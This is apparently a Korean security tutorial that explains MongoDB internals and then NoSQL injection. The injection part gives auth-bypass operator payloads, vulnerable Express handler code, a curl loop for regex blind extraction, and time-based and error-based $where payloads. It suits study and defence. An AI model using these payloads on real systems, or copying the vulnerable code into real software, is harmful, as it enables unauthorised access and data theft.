MongoDB (MongoDB Injection)
MongoDB란?
MongoDB는 문서 지향 NoSQL 데이터베이스로, 일반적으로 사용되는 관계형 데이터베이스인 RDBMS와 달리 스키마가 없거나 느슨한 스키마를 가지며 JSON 형태로 데이터를 저장하는 BSON(Binary JSON) 형식을 사용한다
MongoDB의 주요 특징
특징 설명
NoSQL 기반 | 스키마 없는 구조로 데이터 유연성과 확장성이 뛰어남 |
문서 지향 | 데이터를 문서(Document) 형태로 저장하며 JSON 유사 구조 |
BSON 포맷 | 바이너리 JSON으로 데이터를 저장하여 속도와 효율성 증가 |
수평적 확장성 | Sharding 및 복제(Replication)를 통해 분산 확장 지원 |
인덱싱 및 성능 | 효율적인 인덱스 구조로 빠른 쿼리 처리 가능 |
복제 및 고가용성 | Replica Set을 통해 장애 대비와 고가용성 확보 |
MongoDB의 내부 메커니즘
1. 데이터 저장 구조 (BSON)
MongoDB는 BOSN 형태로 데이터를 저장하며, BSON은 JSON의 바이너리 버전이다.
- JSON 보다 압축성이 좋고 처리 속도가 빠름
- 다양한 데이터 타입(Date, Objectld, Binary Data 등)을 지원
{
"_id": ObjectId("663d45f76bfe7a25e4742f5f"),
"name": "Alice",
"age": 30,
"created_at": ISODate("2024-05-15T10:15:00Z"),
"roles": ["admin", "user"]
}
Sharding
- 데이터를 여러 서버에 분산 저장하는 메커니즘
- 성능 향상 및 데이터 용량 분산 처리 목적
- Shard Key를 기준으로 데이터가 분산 저장됨
복제(Replication)
- Replica Set으로 복제 관리
- _id 필드는 기본키(Primary Key)역할
- Primary 노드가 쓰기를 처리, Secondary 노드는 읽기 또는 백업 처리
- Primary 노드 장애 시 자동 Failover 처리
MongoDB CRUD
데이터 삽입 (Create)
db.users.insertOne({
name: "Alice",
age: 25,
roles: ["user", "editor"]
});
데이터 조회 (Read)
db.users.find({ name: "Alice" });
데이터 수정 (Update)
db.users.updateOne(
{ name: "Alice" },
{ $set: { age: 30 } }
);
데이터 삭제 (Delete)
db.users.deleteOne({ name: "Alice" });
연산자
연산자(Operator) 설명 Injection 공격 예시
$ne | Not Equal (같지 않음) | {"username": {"$ne": null}, "password": {"$ne": null}} → 모든 사용자의 계정 우회 로그인 가능 |
$gt | Greater Than (보다 큼) | {"balance": {"$gt": 0}} → 특정 금액 이상의 데이터를 유출 |
$gte | Greater Than or Equal (이상) | {"accessLevel": {"$gte": 1}} → 특정 권한 이상의 데이터 접근 |
$lt | Less Than (보다 작음) | {"age": {"$lt": 100}} → 조건을 완화하여 대량의 데이터 조회 가능 |
$lte | Less Than or Equal (이하) | {"expiry": {"$lte": "2099-12-31"}} → 만료일을 우회하여 데이터 접근 |
$in | 배열 내 값이 존재함 | {"username": {"$in": ["admin", "root"]}} → 관리자 계정 접근 시도 |
$nin | 배열 내 값이 존재하지 않음 | {"status": {"$nin": ["blocked", "deleted"]}} → 접근 제한 상태 우회 |
$or | 조건 중 하나라도 참이면 참 | {"$or": [{"username": "admin"}, {"password": {"$ne": null}}]} → 관리자 또는 비밀번호 우회 |
$and | 조건 모두가 참이어야 함 | {"$and": [{"username": {"$ne": null}}, {"password": {"$ne": null}}]} → username과 password 모두 존재하는 모든 데이터 조회 |
$regex | 정규 표현식(Regular Expression)을 이용한 매칭 | {"username": {"$regex": "^adm"}} → adm으로 시작하는 사용자 조회 |
$exists | 필드 존재 여부 확인 | {"isAdmin": {"$exists": true}} → 관리 권한이 있는 사용자 데이터 확인 |
$where | JavaScript 코드를 통한 복잡한 조건 표현 | {"$where": "this.age > 20"} → JavaScript 코드 주입으로 복잡한 조건 처리 가능 (위험성이 매우 높음) |
MongoDB Injection
대부분의 MongoDB Injection은 웹 어플리케이션이 사용자 입력을 적절한 검증 없이 전달할 때 발생한다.
$ne
{
"username": {"$ne": null},
"password": {"$ne": null}
}
위 쿼리는 DB에서 username과 password가 null이 아닌 모든 계정을 조회하며, 결과적으로 첫 번째 계정으로 로그인 된다.
https://example.com/login?username[$ne]=null&password[$ne]=null
$or
{
"username": {"$or": [{"$eq": "admin"}, {"$ne": null}]},
"password": {"$ne": null}
}
username이 admin이거나 null이 아닌 모든 username에 대해 password가 null이 아닌 계정을 찾게
$regex
app.get('/search', (req, res) => {
const query = { username: { $regex: req.query.user } };
collection.find(query).toArray((err, users) => {
res.json(users);
});
});
위 코드와 같이 사용자 정보를 조회하는 API서버가 있을 때 아래와 같이 사용할 수 있다.
/search?user=^admin
admin 으로 시작하는 모든 사용자를 반환한다.
혹은 아래와 같이 $regex를 사용할 수 있다.
https://example.com/search?user[$regex]=^admin
$where
// 취약한 서버 코드 예시
app.get('/user-info', (req, res) => {
const query = JSON.parse(req.query.q);
collection.find(query).toArray((err, result) => {
res.json(result);
});
});
{"$where": "function() { return this.isAdmin == true; }"}
JavaScript 코드를 DB에서 실행하여 관리자인 사용자만 선택적으로 반환할 수 있다.
이 외에 JavaScript 실행 권한으로 인해 추가적인 공격이 진행될 수 있다.
$in
https://example.com/checkuser?role=user
위와같이 정상적인 GET 요청에서는 role파라미터에 사용자를 입력하여 찾게된다.
https://example.com/checkuser?role[$in]=admin&role[$in]=user
위의 비정상 쿼리에서는 admin 혹은 다른 사용자가 존재할 경우 반환하게 한다.
객체 타입을 통한 우회 인젝션 개념
MongoDB Query는 기본적으로 JSON 기반의 객체(Object)구조를 갖고 있다.
공격자는 클라이언트에서 객체 형태로 파라미터를 전달하면, 서버가 이를 그대로 MongoDB Query의 일부로 사용하게 된다.
서버가 클라이언트로부터 받은 데이터를 JSON 또는 객체 형태로 바로 변환하고,
클라이언트 측에서 특정판 표기법(parm[key]=value)을 사용하여 객체를 전달하게 되면, 서버는 이를 객체 형태로 자동 변환한다.
이 과정에서 공격자는 MongoDB 연산자를 객체 내에 주입하여, 원하는 쿼리 구조를 강제로 만들 수 있다.
app.get('/getUser', (req, res) => {
const filter = req.query;
collection.findOne(filter, (err, user) => {
if (user) res.json(user);
else res.status(404).send("Not found");
});
});
위와 같이 NodeJS Express로 생성된 서버가 있다고 할 때 req.query는 별도의 입력값 검증 없이 Query로 사용된다.
정상적인 요청일 경우 "GET /getUser?username=alice"와 같이 보내게된다.
이럴 경우 생성되는 MongoDB Query는 "{ username: "alice" }" 와 같다.
GET /getUser?username[$ne]=alice
이 때 위와같이 악의적으로 연산자를 통한 객체 형식으로 전달할 경우 웹 프레임워크는 위 URL을 객체로 자동 변환한다.
{
username: { $ne: "alice" }
}
즉 Query가 MongoDB에서 실행되면, alice가 아닌 첫 번째 사용자를 반환하게 되는 원리이다.
다중 데이터 조회를 위해 아래와 같이 다중 연산자 삽입이 가능하다.
GET /getUser?$or[0][role]=admin&$or[1][role]=manager
{
$or: [
{ role: "admin" },
{ role: "manager" }
]
}
이러한 공격이 가능한 이유는 크게 2가지이다.
- 서버가 입력값을 엄격하게 문자열로 제한하지 않고, 객체로 파싱하여 사용하는 경우
- ex) Express의 req.query는 URL 파라미터를 객체로 자동 변환한다.
- MongoDB가 객체 내에 있는 연산자(특히 $로 시작하는)를 특별한 의미로 받아들이기 때문
- MongoDB는 { $ne: "value" } 형태의 데이터를 일반 문자열이 아닌 특별한 쿼리 연산자로 인식한다.
이 두가지가 만족할 때 클라이언트에서 전달한 객체가 MongoDB에서 의도하지 않은 악의적인 쿼리 연산자로 실행된다.
단순 연산자 주입 | username[$ne]=alice | 특정 값을 제외한 모든 값 조회 ($ne) |
배열 객체 주입 | role[$in]=admin&role[$in]=manager | 다중 조건을 동시에 만족하는 데이터 조회($in) |
복잡한 중첩 객체 | $or[0][role]=admin&$or[1][level][$gt]=5 | 여러 조건을 중첩하여 상세 조건 조회 |
자바스크립트 실행 | $where=this.age>20 | JavaScript를 통한 강력한 조건식 생성($where) |
Blind Injection
$regex Blind Injection
$regex는 데이터가 특정 정규 표현식에 일치하는지를 검사한다. 이 때 응답 여부를 통해 특정 데이터의 존재 여부를 한 글자씩 유추할 수 있다.
app.get('/checkuser', (req, res) => {
const username = req.query.username;
collection.findOne({ username: { $regex: username } }, (err, user) => {
if (user) res.send('User exists');
else res.send('User not found');
});
});
위와 같이 취약한 코드가 존재한다고 가정하자
# 요청 예시:
GET /checkuser?username=^a HTTP/1.1
"^" 를 사용하여 a로 시작하는지 한 글자씩 유출할 수 있다.
아래와 같이 자동화된 페이로드 또한 구성할 수 있다.
# 알파벳 및 숫자 반복 테스트 예시
for c in {a..z} {0..9}; do
curl "http://example.com/checkuser?username=^$c"
done
요청 URL 서버 응답 공격자 추론 결과
/checkuser?username=^a | User not found | username은 a로 시작 X |
/checkuser?username=^b | User exists | username은 b로 시작 O |
/checkuser?username=^ba | User exists | ba로 시작 O |
/checkuser?username=^ban | User exists | ban으로 시작 O |
/checkuser?username=^bana | User exists | bana로 시작 O |
/checkuser?username=^banan | User exists | banan으로 시작 O |
/checkuser?username=^banana | User exists | banana 존재 O |
/checkuser?username=^banana1 | User not found | banana1 존재 X |
이 과정을 통해 공격자는 "banana"라는 username을 완벽하게 유추할 수 있다.
$where Blind Injection
$where 연산자를 활용하여 공격할 경우 substring, time-based, error-based등 다양한 방법이 사용 가능하다.
// 사용자의 정보를 쿼리로 직접 전달받는 취약한 서버
app.get('/findUser', (req, res) => {
const query = JSON.parse(req.query.q);
collection.findOne(query, (err, user) => {
if (user) res.json(user);
else res.status(404).send('Not Found');
});
});
위와 같이 취약한 서버가 있도고 가장하자.
Substring 기반 기본적인 Blind Injection
자바 스크립트의 substring() 메서드를 사용하여 한 글자씩 서버 데이터를 확인할 수 있다.
{"$where":"this.username.substring(0,1)=='a'"}
위 코드와 같이 username 의 첫 글자가 'a'인지 확인한다.
Time-Based Blind Injection
$where를 통해 조건이 참일 때 고의로 응답 지연을 발생시켜 데이터를 추론하는 방식이다.
MongoDB에서는 sleep()을 지원하지 않으므로 JavaScript 코드를 통해 지연을 시킬 수 있다.
{
"$where": "function() { if (this.username.substring(0,1)=='a') { var start = new Date(); while(new Date() - start < 5000) {} } return false; }"
}
// 실제 curl 요청을 통한 공격
time curl "http://example.com/findUser?q=%7B%22%24where%22%3A%22function()%7Bif(this.username.substring(0,1)=='a')%7Bvar%20start%3Dnew%20Date()%3Bwhile(new%20Date()-start%3C5000)%7B%7D%7Dreturn%20false%3B%7D%22%7D"
Payload | 응답 시간 | 공격자의 추 |
'a' | 0.2초 | username 첫 글자 'a' 아님 |
'b' | 5.3초 | username 첫 글자 'b' 맞음 |
Error-Based Blind Injection
$where를 통해 고의로 JavaScript의 예외(exception)을 발생시켜 참/거짓 여부를 확인할 수 있다.
MongoDB는 $where 내의 JavaScrpt 에러 발생 시 서버가 500 Injternal Error를 응답한다.
{
"$where": "function() { if (this.username.substring(0,1)=='a') { throw 'error'; } return false; }"
}
Payload | 서버 응답 | 공격자 추론 결 |
username 첫 글자 'a' 검사 | 404 Not Found (정상) | 첫 글자 'a' 아님 |
username 첫 글자 'b' 검사 | 500 Internal Server Error | 첫 글자 'b' 맞음 (에러 발생) |
차이점
공격 유형 | 원리 | 판단 기준 | 공격 정확 |
substring 기반 | 한 글자씩 정확히 비교 | 존재/비존재 여부 (True/False) | 높음 |
Time-based Blind | 의도적인 응답 지연(delay) 사용 | 응답 지연 시간 (response delay) | 높음 |
Error-based Blind | 의도적 예외(exception) 발생 | 에러 응답 여부 (HTTP status) | 높음 |